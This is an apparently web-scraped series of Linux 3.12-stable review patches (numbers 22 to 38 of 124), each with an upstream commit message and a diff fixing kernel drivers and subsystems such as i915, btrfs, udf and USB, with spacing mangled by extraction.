@@ -394,10 +394,8 @@ intel_dp_aux_ch(struct intel_dp *intel_dp, DP_AUX_CH_CTL_RECEIVE_ERROR))continue ;if (status &DP_AUX_CH_CTL_DONE ) -break ; + goto done; } -if (status &DP_AUX_CH_CTL_DONE ) -break ; }if ((status &DP_AUX_CH_CTL_DONE ) ==0 ) {
@@ -406,6 +404,7 @@ intel_dp_aux_ch(struct intel_dp *intel_dp, goto out; } +done:/* Check for timeout or receive error. * Timeouts occur when the sink is not connected */
Signature · 1 line
2.4.6
PATCH 22/124 drm/i915: Fix DDC probe for passive adapters
In reply to Jiri SlabyFrom: Jani Nikula <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream.
Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI devices, as they do not have a sink device in them to respond to any AUX traffic. When probing these dongles over the DDC, sometimes they will NAK the first attempt even though the transaction is valid and they support the DDC protocol. The retry loop inside of drm_do_probe_ddc_edid() would normally catch this case and try the transaction again, resulting in success.
That, however, was thwarted by the fix for [1]:
commit 9292f37e1f5c79400254dca46f83313488093825
Author: Eugeni Dodonov <[email protected]> Date: Thu Jan 5 09:34:28 2012 -0200
drm: give up on edid retries when i2c bus is not responding
This added code to exit immediately if the return code from the i2c_transfer function was -ENXIO in order to reduce the amount of time spent in waiting for unresponsive or disconnected devices. That was possible because the underlying i2c bit banging algorithm had retries of its own (which, of course, were part of the reason for the bug the commit fixes).
Since its introduction in
commit f899fc64cda8569d0529452aafc0da31c042df2e
Author: Chris Wilson <[email protected]> Date: Tue Jul 20 15:44:45 2010 -0700
drm/i915: use GMBUS to manage i2c links
we've been flipping back and forth enabling the GMBUS transfers, but we've settled since then. The GMBUS implementation does not do any retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop on first encounter of -ENXIO. This, combined with Eugeni's commit, broke the retry on -ENXIO.
Retry GMBUS once on -ENXIO on first message to mitigate the issues with passive adapters.
This patch is based on the work, and commit message, by Todd Previte <[email protected]>.
[1] https://bugs.freedesktop.org/show_bug.cgi?id=41059
v2: Don't retry if using bit banging.
v3: Move retry within gmbux_xfer, retry only on first message.
v4: Initialize GMBUS0 on retry (Ville).
v5: Take index reads into account (Ville).
Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924
--- drivers/gpu/drm/i915/intel_i2c.c | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-)
drivers/gpu/drm/i915/intel_i2c.c +17 -3
@@ -441,7 +441,7 @@ gmbus_xfer(struct i2c_adapter *adapter, struct intel_gmbus, adapter);struct drm_i915_private *dev_priv = bus->dev_priv; -int i, reg_offset; +int i =0 , inc, try =0 , reg_offset;int ret =0 ;intel_aux_display_runtime_get (dev_priv);
@@ -454,12 +454,14 @@ gmbus_xfer(struct i2c_adapter *adapter, reg_offset = dev_priv->gpio_mmio_base; +retry:I915_WRITE (GMBUS0 + reg_offset, bus->reg0); -for (i =0 ; i < num; i++) { +for (; i < num; i += inc) { + inc =1 ;if (gmbus_is_index_read (msgs, i, num)) { ret =gmbus_xfer_index_read (dev_priv, &msgs[i]); - i +=1 ;/* set i to the index of the read xfer */ + inc =2 ;/* an index read is two msgs */ }else if (msgs[i].flags &I2C_M_RD ) { ret =gmbus_xfer_read (dev_priv, &msgs[i],0 ); }else {
@@ -531,6 +533,18 @@ clear_err: adapter->name, msgs[i].addr, (msgs[i].flags & I2C_M_RD) ? 'r' : 'w', msgs[i].len); +/* +* Passive adapters sometimes NAK the first probe. Retry the first +* message once on -ENXIO for GMBUS transfers; the bit banging algorithm +* has retries internally. See also the retry loop in +* drm_do_probe_ddc_edid, which bails out on the first -ENXIO. +*/ +if (ret == -ENXIO && i ==0 && try++ ==0 ) { +DRM_DEBUG_KMS ("GMBUS [%s] NAK on first message, retry\n" , + adapter->name); + goto retry; + } + goto out; timeout:
Signature · 1 line
2.4.6
PATCH 23/124 drm/radeon: fix freeze for laptop with Turks/Thames GPU.
In reply to Jiri SlabyFrom: Jérôme Glisse <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 6dfd197283bffc23a2b046a7f065588de7e1fc1e upstream.
Laptop with Turks/Thames GPU will freeze if dpm is enabled. It seems the SMC engine is relying on some state inside the CP engine. CP needs to chew at least one packet for it to get in good state for dynamic power management.
This patch simply disabled and re-enable DPM after the ring test which is enough to avoid the freeze.
--- drivers/gpu/drm/radeon/radeon_device.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+)
drivers/gpu/drm/radeon/radeon_device.c +16 -0
@@ -1319,6 +1319,22 @@ int radeon_device_init(struct radeon_device *rdev,if (r)return r; } + +/* +* Turks/Thames GPU will freeze whole laptop if DPM is not restarted +* after the CP ring have chew one packet at least. Hence here we stop +* and restart DPM after the radeon_ib_ring_tests(). +*/ +if (rdev->pm.dpm_enabled && + (rdev->pm.pm_method ==PM_METHOD_DPM ) && + (rdev->family ==CHIP_TURKS ) && + (rdev->flags &RADEON_IS_MOBILITY )) { +mutex_lock (&rdev->pm.mutex); +radeon_dpm_disable (rdev); +radeon_dpm_enable (rdev); +mutex_unlock (&rdev->pm.mutex); + } +if ((radeon_testing &1 )) {if (rdev->accel_working)radeon_test_moves (rdev);
Signature · 1 line
2.4.6
PATCH 24/124 serial: imx: Fix DMA handling for IDLE condition aborts
In reply to Jiri SlabyFrom: Philipp Zabel <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 392bceedb107a3dc1d4287e63d7670d08f702feb upstream.
The driver configures the IDLE condition to interrupt the SDMA engine. Since the SDMA UART ROM script doesn't clear the IDLE bit itself, this caused repeated 1-byte DMA transfers, regardless of available data in the RX FIFO. Also, when returning due to the IDLE condition, the UART ROM script already increased its counter, causing residue to be off by one.
This patch clears the IDLE condition to avoid repeated 1-byte DMA transfers and decreases count by when the DMA transfer was aborted due to the IDLE condition, fixing serial transfers using DMA on i.MX6Q.
--- drivers/tty/serial/imx.c | 8 ++++++++ 1 file changed, 8 insertions(+)
drivers/tty/serial/imx.c +8 -0
@@ -921,6 +921,14 @@ static void dma_rx_callback(void *data) status = chan->device->device_tx_status (chan, (dma_cookie_t )0 , &state); count =RX_BUF_SIZE - state.residue; + +if (readl (sport->port.membase +USR2 ) &USR2_IDLE ) { +/* In condition [3] the SDMA counted up too early */ + count--; + +writel (USR2_IDLE , sport->port.membase +USR2 ); + } +dev_dbg (sport->port.dev,"We get %d bytes.\n" , count);if (count) {
Signature · 1 line
2.4.6
PATCH 25/124 mm/memory_hotplug.c: set zone->wait_table to null after freeing it
In reply to Jiri SlabyFrom: Gu Zheng <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 85bd839983778fcd0c1c043327b14a046e979b39 upstream.
Izumi found the following oops when hot re-adding a node:
BUG: unable to handle kernel paging request at ffffc90008963690
IP: __wake_up_bit+0x20/0x70
Oops: 0000 [#1] SMP
CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80
Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015
task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000
RIP: 0010:[<ffffffff810dff80>] [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
RSP: 0018:ffff880017b97be8 EFLAGS: 00010246
RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9
RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648
RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800
R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000
FS: 00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0
Call Trace:
unlock_page+0x6d/0x70
generic_write_end+0x53/0xb0
xfs_vm_write_end+0x29/0x80 [xfs]
generic_perform_write+0x10a/0x1e0
xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs]
xfs_file_write_iter+0x79/0x120 [xfs]
__vfs_write+0xd4/0x110
vfs_write+0xac/0x1c0
SyS_write+0x58/0xd0
system_call_fastpath+0x12/0x76
Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48
RIP [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
RSP <ffff880017b97be8>
CR2: ffffc90008963690Reproduce method (re-add a node)::
Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic)
This seems an use-after-free problem, and the root cause is zone->wait_table was not set to *NULL* after free it in try_offline_node.
When hot re-add a node, we will reuse the pgdat of it, so does the zone struct, and when add pages to the target zone, it will init the zone first (including the wait_table) if the zone is not initialized. The judgement of zone initialized is based on zone->wait_table:
static inline bool zone_is_initialized(struct zone *zone)
{
return !!zone->wait_table;
}so if we do not set the zone->wait_table to *NULL* after free it, the memory hotplug routine will skip the init of new zone when hot re-add the node, and the wait_table still points to the freed memory, then we will access the invalid address when trying to wake up the waiting people after the i/o operation with the page is done, such as mentioned above.
Reviewed by: Yasuaki Ishimatsu <[email protected]>
--- mm/memory_hotplug.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
mm/memory_hotplug.c +3 -1
@@ -1822,8 +1822,10 @@ void try_offline_node(int nid)* wait_table may be allocated from boot memory, * here only free if it's allocated by vmalloc. */ -if (is_vmalloc_addr (zone->wait_table)) +if (is_vmalloc_addr (zone->wait_table)) {vfree (zone->wait_table); + zone->wait_table =NULL ; + } } }EXPORT_SYMBOL (try_offline_node);
Signature · 1 line
2.4.6
PATCH 26/124 cfg80211: wext: clear sinfo struct before calling driver
In reply to Jiri SlabyFrom: Johannes Berg <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 9c5a18a31b321f120efda412281bb9f610f84aa0 upstream.
Until recently, mac80211 overwrote all the statistics it could provide when getting called, but it now relies on the struct having been zeroed by the caller. This was always the case in nl80211, but wext used a static struct which could even cause values from one device leak to another.
Using a static struct is OK (as even documented in a comment) since the whole usage of this function and its return value is always locked under RTNL. Not clearing the struct for calling the driver has always been wrong though, since drivers were free to only fill values they could report, so calling this for one device and then for another would always have leaked values from one to the other.
Fix this by initializing the structure in question before the driver method call.
This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691
--- net/wireless/wext-compat.c | 2 ++ 1 file changed, 2 insertions(+)
net/wireless/wext-compat.c +2 -0
@@ -1331,6 +1331,8 @@ static struct iw_statistics *cfg80211_wireless_stats(struct net_device *dev)memcpy (bssid, wdev->current_bss->pub.bssid,ETH_ALEN );wdev_unlock (wdev); +memset (&sinfo,0 ,sizeof (sinfo)); +if (rdev_get_station (rdev, dev, bssid, &sinfo))return NULL ;
Signature · 1 line
2.4.6
PATCH 27/124 btrfs: incorrect handling for fiemap_fill_next_extent return
In reply to Jiri SlabyFrom: Chengyu Song <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 26e726afe01c1c82072cf23a5ed89ce25f39d9f2 upstream.
fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was the last extent that will fit in user array. If 1 is returned, the return value may eventually returned to user space, which should not happen, according to manpage of ioctl.
--- fs/btrfs/extent_io.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
fs/btrfs/extent_io.c +4 -1
@@ -4228,8 +4228,11 @@ int extent_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, } ret =fiemap_fill_next_extent (fieinfo, em_start, disko, em_len, flags); -if (ret) +if (ret) { +if (ret ==1 ) + ret =0 ; goto out_free; + } } out_free:free_extent_map (em);
Signature · 1 line
2.4.6
PATCH 28/124 btrfs: cleanup orphans while looking up default subvolume
In reply to Jiri SlabyFrom: Jeff Mahoney <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 727b9784b6085c99c2f836bf4fcc2848dc9cf904 upstream.
Orphans in the fs tree are cleaned up via open_ctree and subvolume orphans are cleaned via btrfs_lookup_dentry -- except when a default subvolume is in use. The name for the default subvolume uses a manual lookup that doesn't trigger orphan cleanup and needs to trigger it manually as well. This doesn't apply to the remount case since the subvolumes are cleaned up by walking the root radix tree.
--- fs/btrfs/super.c | 9 +++++++++ 1 file changed, 9 insertions(+)
fs/btrfs/super.c +9 -0
@@ -834,6 +834,15 @@ find_root:if (IS_ERR (new_root))return ERR_CAST (new_root); +if (!(sb->s_flags &MS_RDONLY )) { +int ret; +down_read (&fs_info->cleanup_work_sem); + ret =btrfs_orphan_cleanup (new_root); +up_read (&fs_info->cleanup_work_sem); +if (ret) +return ERR_PTR (ret); + } + dir_id =btrfs_root_dirid (&new_root->root_item); setup_root: location.objectid = dir_id;
Signature · 1 line
2.4.6
PATCH 29/124 crypto: caam - fix RNG buffer cache alignment
In reply to Jiri SlabyFrom: Steve Cornelius <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 412c98c1bef65fe7589f1300e93735d96130307c upstream.
The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx) allocated in one DMA-tagged region. While the kernel's heap allocator should place the overall struct on a cacheline aligned boundary, the 2 buffers contained within may not necessarily align. Consenquently, the ends of unaligned buffers may not fully flush, and if so, stale data will be left behind, resulting in small repeating patterns.
This fix aligns the buffers inside the struct.
Note that not all of the data inside caam_rng_ctx necessarily needs to be DMA-tagged, only the buffers themselves require this. However, a fix would incur the expense of error-handling bloat in the case of allocation failure.
--- drivers/crypto/caam/caamrng.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/crypto/caam/caamrng.c +1 -1
@@ -56,7 +56,7 @@/* Buffer, its dma address and lock */ struct buf_data { -u8 buf[RN_BUF_SIZE ]; +u8 buf[RN_BUF_SIZE ]____cacheline_aligned ;dma_addr_t addr;struct completion filled;u32 hw_desc[DESC_JOB_O_LEN ];
Signature · 1 line
2.4.6
PATCH 30/124 tracing: Have filter check for balanced ops
In reply to Jiri SlabyFrom: Steven Rostedt <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 2cf30dc180cea808077f003c5116388183e54f9e upstream.
When the following filter is used it causes a warning to trigger:
# cd /sys/kernel/debug/tracing # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter -bash: echo: write error: Invalid argument # cat events/ext4/ext4_truncate_exit/filter ((dev==1)blocks==2) ^ parse_error: No error
------------[ cut here ]------------ WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990() Modules linked in: bnep lockd grace bluetooth ... CPU: 3 PID: 1223 Comm: bash Tainted: G W 4.1.0-rc3-test+ #450 Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012 0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0 0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea Call Trace: [<ffffffff816ed4f9>] dump_stack+0x4c/0x6e [<ffffffff8107fb07>] warn_slowpath_common+0x97/0xe0 [<ffffffff8136b46c>] ? _kstrtoull+0x2c/0x80 [<ffffffff8107fb6a>] warn_slowpath_null+0x1a/0x20 [<ffffffff81159065>] replace_preds+0x3c5/0x990 [<ffffffff811596b2>] create_filter+0x82/0xb0 [<ffffffff81159944>] apply_event_filter+0xd4/0x180 [<ffffffff81152bbf>] event_filter_write+0x8f/0x120 [<ffffffff811db2a8>] __vfs_write+0x28/0xe0 [<ffffffff811dda43>] ? __sb_start_write+0x53/0xf0 [<ffffffff812e51e0>] ? security_file_permission+0x30/0xc0 [<ffffffff811dc408>] vfs_write+0xb8/0x1b0 [<ffffffff811dc72f>] SyS_write+0x4f/0xb0 [<ffffffff816f5217>] system_call_fastpath+0x12/0x6a ---[ end trace e11028bd95818dcd ]---
Worse yet, reading the error message (the filter again) it says that there was no error, when there clearly was. The issue is that the code that checks the input does not check for balanced ops. That is, having an op between a closed parenthesis and the next token.
This would only cause a warning, and fail out before doing any real harm, but it should still not caues a warning, and the error reported should work:
# cd /sys/kernel/debug/tracing # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter -bash: echo: write error: Invalid argument # cat events/ext4/ext4_truncate_exit/filter ((dev==1)blocks==2) ^ parse_error: Meaningless filter expression
And give no kernel warning.
--- kernel/trace/trace_events_filter.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-)
kernel/trace/trace_events_filter.c +8 -2
@@ -1334,19 +1334,25 @@ static int check_preds(struct filter_parse_state *ps) {int n_normal_preds =0 , n_logical_preds =0 ;struct postfix_elt *elt; +int cnt =0 ;list_for_each_entry (elt, &ps->postfix, list) { -if (elt->op ==OP_NONE ) +if (elt->op ==OP_NONE ) { + cnt++;continue ; + }if (elt->op ==OP_AND || elt->op ==OP_OR ) { n_logical_preds++; + cnt--;continue ; } + cnt--; n_normal_preds++; +WARN_ON_ONCE (cnt <0 ); } -if (!n_normal_preds || n_logical_preds >= n_normal_preds) { +if (cnt !=1 || !n_normal_preds || n_logical_preds >= n_normal_preds) {parse_error (ps,FILT_ERR_INVALID_FILTER ,0 );return -EINVAL ; }
Signature · 1 line
2.4.6
PATCH 31/124 drm/mgag200: Reject non-character-cell-aligned mode widths
In reply to Jiri SlabyFrom: Adam Jackson <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 25161084b1c1b0c29948f6f77266a35f302196b7 upstream.
Turns out 1366x768 does not in fact work on this hardware.
--- drivers/gpu/drm/mgag200/mgag200_mode.c | 5 +++++ 1 file changed, 5 insertions(+)
drivers/gpu/drm/mgag200/mgag200_mode.c +5 -0
@@ -1531,6 +1531,11 @@ static int mga_vga_mode_valid(struct drm_connector *connector,return MODE_BANDWIDTH ; } +if ((mode->hdisplay %8 ) !=0 || (mode->hsync_start %8 ) !=0 || + (mode->hsync_end %8 ) !=0 || (mode->htotal %8 ) !=0 ) { +return MODE_H_ILLEGAL ; + } + if (mode->crtc_hdisplay > 2048 || mode->crtc_hsync_start > 4096 || mode->crtc_hsync_end > 4096 || mode->crtc_htotal > 4096 || mode->crtc_vdisplay > 2048 || mode->crtc_vsync_start > 4096 ||
Signature · 1 line
2.4.6
PATCH 32/124 usb: renesas_usbhs: Fix fifo unclear in usbhsf_prepare_pop
In reply to Jiri SlabyFrom: Kazuya Mizuguchi <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit e73d42f15f90614538edeb5d4102f847105f86f2 upstream.
This patch fixes an issue for control write. When usbhsf_prepare_pop() is called after this driver called a gadget setup function, this controller doesn't receive the control write data. So, this patch adds a code to clear the fifo for control write in usbhsf_prepare_pop().
--- drivers/usb/renesas_usbhs/fifo.c | 5 +++++ 1 file changed, 5 insertions(+)
drivers/usb/renesas_usbhs/fifo.c +5 -0
@@ -585,6 +585,8 @@ struct usbhs_pkt_handle usbhs_fifo_pio_push_handler = {static int usbhsf_prepare_pop (struct usbhs_pkt *pkt,int *is_done) {struct usbhs_pipe *pipe = pkt->pipe; +struct usbhs_priv *priv =usbhs_pipe_to_priv (pipe); +struct usbhs_fifo *fifo =usbhsf_get_cfifo (priv);if (usbhs_pipe_is_busy (pipe))return 0 ;
@@ -595,6 +597,9 @@ static int usbhsf_prepare_pop(struct usbhs_pkt *pkt, int *is_done)usbhs_pipe_data_sequence (pipe, pkt->sequence); pkt->sequence =-1 ;/* -1 sequence will be ignored */ +if (usbhs_pipe_is_dcp (pipe)) +usbhsf_fifo_clear (pipe, fifo); +usbhs_pipe_set_trans_count_if_bulk (pipe, pkt->length);usbhs_pipe_enable (pipe);usbhsf_rx_irq_ctrl (pipe,1 );
Signature · 1 line
2.4.6
PATCH 33/124 usb: renesas_usbhs: Don't disable the pipe if Control write status stage
In reply to Jiri SlabyFrom: Yoshihiro Shimoda <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 93fb9127cb63a3246b32d48fa273010764687862 upstream.
This patch fixes an issue that sometimes this controller is not able to complete the Control write status stage.
This driver should enable DCPCTR.CCPL and PID_BUF to complete the status stage. However, if this driver detects the ctrl_stage interruption first before the control write data is received, this driver will clear the PID_BUF wrongly in the usbhsf_pio_try_pop(). To avoid this issue, this patch doesn't clear the PID_BUF in the usbhsf_pio_try_pop(). (Since also the privious code doesn't disable the PID_BUF after a control
transfer was finished, this patch doesn't have any side efforts.)
--- drivers/usb/renesas_usbhs/fifo.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-)
drivers/usb/renesas_usbhs/fifo.c +8 -1
@@ -647,7 +647,14 @@ static int usbhsf_pio_try_pop(struct usbhs_pkt *pkt, int *is_done) (total_len < maxp)) { /* short packet */ *is_done =1 ;usbhsf_rx_irq_ctrl (pipe,0 ); -usbhs_pipe_disable (pipe);/* disable pipe first */ +/* +* If function mode, since this controller is possible to enter +* Control Write status stage at this timing, this driver +* should not disable the pipe. If such a case happens, this +* controller is not able to complete the status stage. +*/ +if (!usbhs_mod_is_host (priv) && !usbhs_pipe_is_dcp (pipe)) +usbhs_pipe_disable (pipe);/* disable pipe first */ }/*
Signature · 1 line
2.4.6
PATCH 34/124 cpufreq: pcc: Enable autoload of pcc-cpufreq for ACPI processors
In reply to Jiri SlabyFrom: Lenny Szubowicz <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 7e7e8fe69820c6fa31395dbbd8e348e3c69cd2a9 upstream.
The pcc-cpufreq driver is not automatically loaded on systems where the platform's power management setting requires this driver. Instead, on those systems no CPU frequency driver is registered and active.
Make the autoloading matching criteria for loading the pcc-cpufreq driver the same as done in acpi-cpufreq by commit c655affbd524d01 ("ACPI / cpufreq: Add ACPI processor device IDs to acpi-cpufreq").
x86 CPU frequency drivers are now typically autoloaded by specifying MODULE_DEVICE_TABLE entries and x86cpu model specific matching. But pcc-cpufreq was omitted when acpi-cpufreq and other drivers were changed to use this approach.
Both acpi-cpufreq and pcc-cpufreq depend on a distinct and mutually exclusive set of ACPI methods which are not directly tied to specific processor model numbers. Both of these drivers have init routines which look for their required ACPI methods. As a result, only the appropriate driver registers as the cpu frequency driver and the other one ends up being unloaded.
Tested on various systems where acpi-cpufreq, intel_pstate, and pcc-cpufreq are the expected cpu frequency drivers.
--- drivers/cpufreq/pcc-cpufreq.c | 7 +++++++ 1 file changed, 7 insertions(+)
drivers/cpufreq/pcc-cpufreq.c +7 -0
@@ -616,6 +616,13 @@ static void __exit pcc_cpufreq_exit(void)free_percpu (pcc_cpu_info); } +static const struct acpi_device_id processor_device_ids[] = { + {ACPI_PROCESSOR_OBJECT_HID , }, + {ACPI_PROCESSOR_DEVICE_HID , }, + {}, +}; +MODULE_DEVICE_TABLE (acpi, processor_device_ids); +MODULE_AUTHOR ("Matthew Garrett, Naga Chumbalkar" );MODULE_VERSION (PCC_VERSION );MODULE_DESCRIPTION ("Processor Clocking Control interface driver" );
Signature · 1 line
2.4.6
PATCH 35/124 udf: Remove repeated loads blocksize
In reply to Jiri SlabyFrom: Jan Kara <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 79144954278d4bb5989f8b903adcac7a20ff2a5a upstream.
Store blocksize in a local variable in udf_fill_inode() since it is used a lot of times.
--- fs/udf/inode.c | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-)
fs/udf/inode.c +8 -11
@@ -1364,6 +1364,7 @@ static void udf_fill_inode(struct inode *inode, struct buffer_head *bh)struct udf_sb_info *sbi =UDF_SB (inode->i_sb);struct udf_inode_info *iinfo =UDF_I (inode);unsigned int link_count; +int bs = inode->i_sb->s_blocksize; fe = (struct fileEntry *)bh->b_data; efe = (struct extendedFileEntry *)bh->b_data;
@@ -1384,41 +1385,38 @@ static void udf_fill_inode(struct inode *inode, struct buffer_head *bh)if (fe->descTag.tagIdent ==cpu_to_le16 (TAG_IDENT_EFE )) { iinfo->i_efe =1 ; iinfo->i_use =0 ; -if (udf_alloc_i_data (inode, inode->i_sb->s_blocksize - +if (udf_alloc_i_data (inode, bs -sizeof (struct extendedFileEntry ))) {make_bad_inode (inode);return ; }memcpy (iinfo->i_ext.i_data, bh->b_data +sizeof (struct extendedFileEntry ), - inode->i_sb->s_blocksize - -sizeof (struct extendedFileEntry )); + bs -sizeof (struct extendedFileEntry )); }else if (fe->descTag.tagIdent ==cpu_to_le16 (TAG_IDENT_FE )) { iinfo->i_efe =0 ; iinfo->i_use =0 ; -if (udf_alloc_i_data (inode, inode->i_sb->s_blocksize - -sizeof (struct fileEntry ))) { +if (udf_alloc_i_data (inode, bs -sizeof (struct fileEntry ))) {make_bad_inode (inode);return ; }memcpy (iinfo->i_ext.i_data, bh->b_data +sizeof (struct fileEntry ), - inode->i_sb->s_blocksize -sizeof (struct fileEntry )); + bs -sizeof (struct fileEntry )); }else if (fe->descTag.tagIdent ==cpu_to_le16 (TAG_IDENT_USE )) { iinfo->i_efe =0 ; iinfo->i_use =1 ; iinfo->i_lenAlloc =le32_to_cpu ( ((struct unallocSpaceEntry *)bh->b_data)-> lengthAllocDescs); -if (udf_alloc_i_data (inode, inode->i_sb->s_blocksize - +if (udf_alloc_i_data (inode, bs -sizeof (struct unallocSpaceEntry ))) {make_bad_inode (inode);return ; }memcpy (iinfo->i_ext.i_data, bh->b_data +sizeof (struct unallocSpaceEntry ), - inode->i_sb->s_blocksize - -sizeof (struct unallocSpaceEntry )); + bs -sizeof (struct unallocSpaceEntry ));return ; }
@@ -1506,8 +1504,7 @@ static void udf_fill_inode(struct inode *inode, struct buffer_head *bh)return ; }/* File in ICB has to fit in there... */ -if (inode->i_size > inode->i_sb->s_blocksize - -udf_file_entry_alloc_offset (inode)) { +if (inode->i_size > bs -udf_file_entry_alloc_offset (inode)) {make_bad_inode (inode);return ; }
Signature · 1 line
2.4.6
PATCH 36/124 udf: Check length of extended attributes and allocation descriptors
In reply to Jiri SlabyFrom: Jan Kara <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 23b133bdc452aa441fcb9b82cbf6dd05cfd342d0 upstream.
Check length of extended attributes and allocation descriptors when loading inodes from disk. Otherwise corrupted filesystems could confuse the code and make the kernel oops.
--- fs/udf/inode.c | 9 +++++++++ 1 file changed, 9 insertions(+)
fs/udf/inode.c +9 -0
@@ -1493,6 +1493,15 @@ static void udf_fill_inode(struct inode *inode, struct buffer_head *bh) iinfo->i_checkpoint =le32_to_cpu (efe->checkpoint); } +/* +* Sanity check length of allocation descriptors and extended attrs to +* avoid integer overflows +*/ +if (iinfo->i_lenEAttr > bs || iinfo->i_lenAlloc > bs) +return ; +/* Now do exact checks */ +if (udf_file_entry_alloc_offset (inode) + iinfo->i_lenAlloc > bs) +return ;/* Sanity checks for files in ICB so that we don't get confused later */ if (iinfo->i_alloc_type ==ICBTAG_FLAG_AD_IN_ICB ) {/*
Signature · 1 line
2.4.6
PATCH 37/124 scripts/sortextable: suppress warning: `relocs_size' may be used uninitialized
In reply to Jiri SlabyFrom: Tim Gardner <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 7cbc0ea79da2cbe70d8da9319895f07f872a3190 upstream.
In file included from scripts/sortextable.c:194:0:scripts/sortextable.c: In function `main':scripts/sortextable.h:176:3: warning: `relocs_size' may be used uninitialized in this function [-Wmaybe-uninitialized]
memset(relocs, 0, relocs_size);
^scripts/sortextable.h:106:6: note: `relocs_size' was declared here
int relocs_size;
^In file included from scripts/sortextable.c:192:0:scripts/sortextable.h:176:3: warning: `relocs_size' may be used uninitialized in this function [-Wmaybe-uninitialized]
memset(relocs, 0, relocs_size);
^scripts/sortextable.h:106:6: note: `relocs_size' was declared here
int relocs_size;
^gcc 4.9.1
--- scripts/sortextable.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
scripts/sortextable.h +1 -1
@@ -101,7 +101,7 @@ do_func(Elf_Ehdr *ehdr, char const *const fname, table_sort_t custom_sort)Elf_Sym *sort_needed_sym;Elf_Shdr *sort_needed_sec;Elf_Rel *relocs =NULL ; -int relocs_size; +int relocs_size =0 ;uint32_t *sort_done_location;const char *secstrtab;const char *strtab;
Signature · 1 line
2.4.6
PATCH 38/124 arm64: xchg: prevent warning if return value is unused
In reply to Jiri SlabyFrom: Will Deacon <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit e1dfda9ced9bea1413a736f0d578f8218a7788ec upstream.
Some users of xchg() don't bother using the return value, which results in a compiler warning like the following (from kgdb):
In file included from linux/arch/arm64/include/asm/atomic.h:27:0,
from include/linux/atomic.h:4,
from include/linux/spinlock.h:402,
from include/linux/seqlock.h:35,
from include/linux/time.h:5,
from include/uapi/linux/timex.h:56,
from include/linux/timex.h:56,
from include/linux/sched.h:19,
from include/linux/pid_namespace.h:4,
from kernel/debug/debug_core.c:30:kernel/debug/debug_core.c: In function ‘kgdb_cpu_enter’:linux/arch/arm64/include/asm/cmpxchg.h:75:3: warning: value computed is not used [-Wunused-value]
((__typeof__(*(ptr)))__xchg((unsigned long)(x),(ptr),sizeof(*(ptr))))
^linux/arch/arm64/include/asm/atomic.h:132:30: note: in expansion of macro ‘xchg’
#define atomic_xchg(v, new) (xchg(&((v)->counter), new))
